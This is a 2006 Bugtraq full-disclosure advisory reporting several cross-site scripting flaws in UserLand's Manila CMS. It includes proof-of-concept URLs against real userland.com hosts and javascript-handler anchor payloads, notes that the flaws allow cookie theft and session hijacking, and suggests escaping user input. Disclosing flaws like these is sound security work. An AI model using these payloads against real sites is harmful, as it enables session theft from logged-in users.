bugtraq - manila.userland cross site scriptable

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Message-ID: <88F8F91B-588F-43F4-A09C-1A1B0194314F@lo-res.org>
Date: Fri, 14 Apr 2006 23:18:08 +0200
From: Aaron Kaplan <aaron@...res.org>
To: bugtraq@...urityfocus.com
Subject: manila.userland cross site scriptable



Manila from manila.userland.com is a widely deployed CMS       _     _
(http://http://manila.userland.com/selectedCustomers)          \`\ /`/
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V /               This following cross site scripting exploit was  
sent to         /. .\
userland.com on the 2nd of April.                              =\ T /=
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Happy easter-hacking, live from the easterhegg               {}/\\ //\
(http://eh.cngw.org)                                         __\ " " /__
                                                         jgs (____/^ 
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--- snip -- original post to manila-bugs@...rland.com follows ----
>
> Multiple XSS bugs in manila.
> To: manila-bugs@...rland.com
>
> Authors:
> Michael Bauer <mihi@...res.org>, Aaron Kaplan <aaron@...res.org>
>
> This bugs will be reported to you and released to the public 10  
> days after
> submission to userland.com, as we strongly believe in full disclosure.
>
> Software:
>    manila
> Vendor:
>    userland.com
> Versions tested :
>    <meta name="generator" content="UserLand Frontier 9.0.1">
>
> Overview:
>
> Manila is vulnerable to several XSS injections which can be abused
> to steal a cookie from a logged in user. This means taking over his  
> session
> doing stuff in his name.
>
>
> Details:
>
>         In the module "msgReader"
>         --------------------------
>         proof of concept:
>         http://manila.userland.com/discuss/msgReader$1?mode=%22%3E% 
> 3Cscript%3Eale
> rt('XSS!')%3C/script%3E
>
>         in the module "sendMail":
>         --------------------------
>         proof of concept:
>         http://profiles.userland.com/sendMail?usernum=2500&referer=% 
> 22%3E%3Cscrip
> t%3Ealert('xss')%3C/script%3E
>
>         in the module "editInBrowser"
>         -----------------------------
>         explanation:
>         it is possible to use <a> and other html tags to put  
> javascript
>         instructions into the webpage examples:
>         <a href=javascript:alert('xss!')>click here</a>
>         <a href=# onmouseover="alert('xss!')">click here</a>
>         <a href=# onmouseout="alert('xss!')">click here</a>
>
>         demo can be seen on http://mana.manila.at/discuss/msgReader 
> $15?mode=day
>         as we got an account there.
>
> Workaround:
> htmlescape all user input! if you want to accept html as input
> write your own html parser for a limited html subset.
>
> Disclaimer:
>
> For educational purposes only, we are not responsible to any harm  
> produced
> by the security hole we published.
>